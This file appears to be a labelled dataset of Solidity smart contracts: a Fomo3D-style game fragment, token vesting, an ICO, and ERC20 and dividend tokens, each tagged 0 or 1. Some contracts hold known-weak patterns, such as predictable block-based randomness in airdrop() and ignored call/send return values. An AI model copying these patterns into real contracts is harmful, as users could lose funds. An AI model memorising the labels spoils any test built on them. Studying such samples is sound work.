plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(LOLdatasets.EventReturns memory _eventData_)
private
returns (LOLdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, LOLdatasets.EventReturns memory _eventData_)
private
returns (LOLdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(LOLdatasets.EventReturns memory _eventData_)
private
returns (LOLdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(lol_offical_bank).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, LOLdatasets.EventReturns memory _eventData_)
private
returns(LOLdatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit LOLevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
address(lol_offical_bank).call.value(_com)(bytes4(keccak256("deposit()")));
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, LOLdatasets.EventReturns memory _eventData_)
private
returns(LOLdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 50);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, LOLdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit LOLevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == owner,
"only team just can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library LOLdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library LOLKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface LOLOfficalBankInterface {
function deposit() external payable returns(bool);
}
interface LOLPlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract IHFVesting {
using SafeMath for uint256;
address public beneficiary;
uint256 public fundingEndBlock;
bool private initClaim = false;
uint256 public firstRelease;
bool private firstDone = false;
uint256 public secondRelease;
bool private secondDone = false;
uint256 public thirdRelease;
bool private thirdDone = false;
uint256 public fourthRelease;
ERC20Basic public ERC20Token;
enum Stages {
initClaim,
firstRelease,
secondRelease,
thirdRelease,
fourthRelease
}
Stages public stage = Stages.initClaim;
modifier atStage(Stages _stage) {
if(stage == _stage) _;
}
function IHFVesting(address _token, uint256 fundingEndBlockInput) public {
require(_token != address(0));
beneficiary = msg.sender;
fundingEndBlock = fundingEndBlockInput;
ERC20Token = ERC20Basic(_token);
}
function changeBeneficiary(address newBeneficiary) external {
require(newBeneficiary != address(0));
require(msg.sender == beneficiary);
beneficiary = newBeneficiary;
}
function updateFundingEndBlock(uint256 newFundingEndBlock) public {
require(msg.sender == beneficiary);
require(block.number < fundingEndBlock);
require(block.number < newFundingEndBlock);
fundingEndBlock = newFundingEndBlock;
}
function checkBalance() public view returns (uint256 tokenBalance) {
return ERC20Token.balanceOf(this);
}
function claim() external {
require(msg.sender == beneficiary);
require(block.number > fundingEndBlock);
uint256 balance = ERC20Token.balanceOf(this);
fourth_release(balance);
third_release(balance);
second_release(balance);
first_release(balance);
init_claim(balance);
}
function nextStage() private {
stage = Stages(uint256(stage) + 1);
}
function init_claim(uint256 balance) private atStage(Stages.initClaim) {
firstRelease = now + 26 weeks;
secondRelease = firstRelease + 26 weeks;
thirdRelease = secondRelease + 26 weeks;
fourthRelease = thirdRelease + 26 weeks;
uint256 amountToTransfer = balance.mul(52).div(100);
ERC20Token.transfer(beneficiary, amountToTransfer);
nextStage();
}
function first_release(uint256 balance) private atStage(Stages.firstRelease) {
require(now > firstRelease);
uint256 amountToTransfer = balance.div(4);
ERC20Token.transfer(beneficiary, amountToTransfer);
nextStage();
}
function second_release(uint256 balance) private atStage(Stages.secondRelease) {
require(now > secondRelease);
uint256 amountToTransfer = balance.div(3);
ERC20Token.transfer(beneficiary, amountToTransfer);
nextStage();
}
function third_release(uint256 balance) private atStage(Stages.thirdRelease) {
require(now > thirdRelease);
uint256 amountToTransfer = balance.div(2);
ERC20Token.transfer(beneficiary, amountToTransfer);
nextStage();
}
function fourth_release(uint256 balance) private atStage(Stages.fourthRelease) {
require(now > fourthRelease);
ERC20Token.transfer(beneficiary, balance);
}
function claimOtherTokens(address _token) external {
require(msg.sender == beneficiary);
require(_token != address(0));
ERC20Basic token = ERC20Basic(_token);
require(token != ERC20Token);
uint256 balance = token.balanceOf(this);
token.transfer(beneficiary, balance);
}
} | 0 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Meta1Token is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "META1";
name = "META1 Token";
decimals = 18;
_totalSupply = 450000000000000000000000000;
balances[0x5794E87eca6b29Ea8cF7f153e142CD2F0718c438] = _totalSupply;
emit Transfer(address(0), 0x5794E87eca6b29Ea8cF7f153e142CD2F0718c438, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract admined {
address public admin;
function admined() internal {
admin = msg.sender;
Admined(admin);
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
function transferAdminship(address _newAdmin) onlyAdmin public {
admin = _newAdmin;
TransferAdminship(admin);
}
event TransferAdminship(address newAdminister);
event Admined(address administer);
}
contract UNRICO is admined {
using SafeMath for uint256;
enum State {
Ongoin,
Successful
}
uint256 public priceOfEthOnUSD;
State public state = State.Ongoin;
uint256 public startTime = now;
uint256[5] public price;
uint256 public HardCap;
uint256 public totalRaised;
uint256 public totalDistributed;
uint256 public ICOdeadline = startTime.add(27 days);
uint256 public completedAt;
token public tokenReward;
address public creator;
address public beneficiary;
string public campaignUrl;
uint8 constant version = 1;
event LogFundingReceived(address _addr, uint _amount, uint _currentTotal);
event LogBeneficiaryPaid(address _beneficiaryAddress);
event LogFundingSuccessful(uint _totalRaised);
event LogFunderInitialized(
address _creator,
address _beneficiary,
string _url,
uint256 _ICOdeadline);
event LogContributorsPayout(address _addr, uint _amount);
event PriceUpdate(uint256 _newPrice);
modifier notFinished() {
require(state != State.Successful);
_;
}
function UNRICO (string _campaignUrl, token _addressOfTokenUsedAsReward, uint256 _initialUsdPriceOfEth) public {
creator = msg.sender;
beneficiary = msg.sender;
campaignUrl = _campaignUrl;
tokenReward = token(_addressOfTokenUsedAsReward);
priceOfEthOnUSD = _initialUsdPriceOfEth;
HardCap = SafeMath.div(7260000*10**18,priceOfEthOnUSD);
price[0] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1666666));
price[1] = SafeMath.div(1 * 10 ** 11, priceOfEthOnUSD.mul(125));
price[2] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1111111));
price[3] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1052631));
price[4] = SafeMath.div(1 * 10 ** 10, priceOfEthOnUSD.mul(10));
LogFunderInitialized(
creator,
beneficiary,
campaignUrl,
ICOdeadline);
PriceUpdate(priceOfEthOnUSD);
}
function updatePriceOfEth(uint256 _newPrice) onlyAdmin public {
priceOfEthOnUSD = _newPrice;
price[0] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1666666));
price[1] = SafeMath.div(1 * 10 ** 11, priceOfEthOnUSD.mul(125));
price[2] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1111111));
price[3] = SafeMath.div(1 * 10 ** 15, priceOfEthOnUSD.mul(1052631));
price[4] = SafeMath.div(1 * 10 ** 10, priceOfEthOnUSD.mul(10));
HardCap = SafeMath.div(7260000*10**18,priceOfEthOnUSD);
PriceUpdate(_newPrice);
}
function contribute() public notFinished payable {
uint256 tokenBought;
uint256 required;
totalRaised = totalRaised.add(msg.value);
if(totalDistributed < 2000000 * (10 ** 8)){
tokenBought = msg.value.div(price[0]);
required = SafeMath.div(10000,6);
require(tokenBought >= required);
}
else if (totalDistributed < 20000000 * (10 ** 8)){
tokenBought = msg.value.div(price[1]);
required = SafeMath.div(10000,8);
require(tokenBought >= required);
}
else if (totalDistributed < 40000000 * (10 ** 8)){
tokenBought = msg.value.div(price[2]);
required = SafeMath.div(10000,9);
require(tokenBought >= required);
}
else if (totalDistributed < 60000000 * (10 ** 8)){
tokenBought = msg.value.div(price[3]);
required = SafeMath.div(100000,95);
require(tokenBought >= required);
}
else if (totalDistributed < 80000000 * (10 ** 8)){
tokenBought = msg.value.div(price[4]);
required = 1000;
require(tokenBought >= required);
}
totalDistributed = totalDistributed.add(tokenBought);
tokenReward.transfer(msg.sender, tokenBought);
LogFundingReceived(msg.sender, msg.value, totalRaised);
LogContributorsPayout(msg.sender, tokenBought);
checkIfFundingCompleteOrExpired();
}
function checkIfFundingCompleteOrExpired() public {
if(now < ICOdeadline && state!=State.Successful){
if(state == State.Ongoin && totalRaised >= HardCap){
state = State.Successful;
completedAt = now;
}
}
else if(now > ICOdeadline && state!=State.Successful ) {
state = State.Successful;
completedAt = now;
LogFundingSuccessful(totalRaised);
finished();
}
}
function payOut() public {
require(msg.sender == beneficiary);
require(beneficiary.send(this.balance));
LogBeneficiaryPaid(beneficiary);
}
function finished() public {
require(state == State.Successful);
uint256 remanent = tokenReward.balanceOf(this);
require(beneficiary.send(this.balance));
tokenReward.transfer(beneficiary,remanent);
LogBeneficiaryPaid(beneficiary);
LogContributorsPayout(beneficiary, remanent);
}
function () public payable {
contribute();
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract RoyalForkToken is Ownable, DetailedERC20("RoyalForkToken", "RFT", 0) {
using SafeMath for uint256;
struct Hodler {
bytes16 username;
uint64 balance;
uint16 canWithdrawPeriod;
}
mapping(address => Hodler) public hodlers;
mapping(bytes16 => address) public usernames;
uint256 public epoch = now;
uint16 public currentPeriod = 1;
uint64 public numHodlers;
uint64 public prevHodlers;
uint256 public prevBalance;
address minter;
mapping(address => mapping (address => uint256)) internal allowed;
event Mint(address indexed to, uint256 amount);
event PeriodEnd(uint16 indexed period, uint256 amount, uint64 hodlers);
event Donation(address indexed from, uint256 amount);
event Withdrawal(address indexed to, uint16 indexed period, uint256 amount);
modifier onlyMinter() {
require(msg.sender == minter);
_;
}
function recover(bytes32 hash, bytes sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function newHodler(address user, bytes16 username, uint64 endowment) private {
require(usernames[username] == address(0));
require(hodlers[user].canWithdrawPeriod == 0);
hodlers[user].canWithdrawPeriod = currentPeriod;
hodlers[user].balance = endowment;
hodlers[user].username = username;
usernames[username] = user;
numHodlers += 1;
totalSupply += endowment;
Mint(user, endowment);
}
function setMinter(address newMinter) public onlyOwner {
minter = newMinter;
}
function newPeriod() public onlyOwner {
require(now >= epoch + 28 days);
currentPeriod++;
prevHodlers = numHodlers;
prevBalance = this.balance;
PeriodEnd(currentPeriod-1, prevBalance, prevHodlers);
}
function createHodler(address to, bytes16 username, uint64 amount) public onlyMinter {
newHodler(to, username, amount);
}
function mint(address user, uint64 amount) public onlyMinter {
require(hodlers[user].canWithdrawPeriod != 0);
require(hodlers[user].balance + amount > hodlers[user].balance);
hodlers[user].balance += amount;
totalSupply += amount;
Mint(user, amount);
}
function create(bytes16 username, uint64 endowment, bytes sig) public {
require(recover(keccak256(endowment, msg.sender), sig) == owner);
newHodler(msg.sender, username, endowment);
}
function withdraw() public {
require(hodlers[msg.sender].canWithdrawPeriod != 0);
require(hodlers[msg.sender].canWithdrawPeriod < currentPeriod);
hodlers[msg.sender].canWithdrawPeriod = currentPeriod;
uint256 payment = prevBalance / prevHodlers;
prevHodlers -= 1;
prevBalance -= payment;
msg.sender.send(payment);
Withdrawal(msg.sender, currentPeriod-1, payment);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return hodlers[_owner].balance;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(hodlers[_to].canWithdrawPeriod != 0);
require(_value <= hodlers[msg.sender].balance);
require(hodlers[_to].balance + uint64(_value) > hodlers[_to].balance);
hodlers[msg.sender].balance -= uint64(_value);
hodlers[_to].balance += uint64(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(hodlers[_to].canWithdrawPeriod != 0);
require(_value <= hodlers[_from].balance);
require(_value <= allowed[_from][msg.sender]);
require(hodlers[_to].balance + uint64(_value) > hodlers[_to].balance);
hodlers[_from].balance -= uint64(_value);
hodlers[_to].balance += uint64(_value);
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function RoyalForkToken() public {
minter = msg.sender;
}
function() payable public {
Donation(msg.sender, msg.value);
}
} | 1 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function minus(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function plus(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenSafe {
using SafeMath for uint;
ERC20Token token;
struct Group {
uint256 releaseTimestamp;
uint256 remaining;
mapping (address => uint) balances;
}
mapping (uint8 => Group) public groups;
constructor(address _token) public {
token = ERC20Token(_token);
}
function init(uint8 _id, uint _releaseTimestamp) internal {
require(_releaseTimestamp > 0);
Group storage group = groups[_id];
group.releaseTimestamp = _releaseTimestamp;
}
function add(uint8 _id, address _account, uint _balance) internal {
Group storage group = groups[_id];
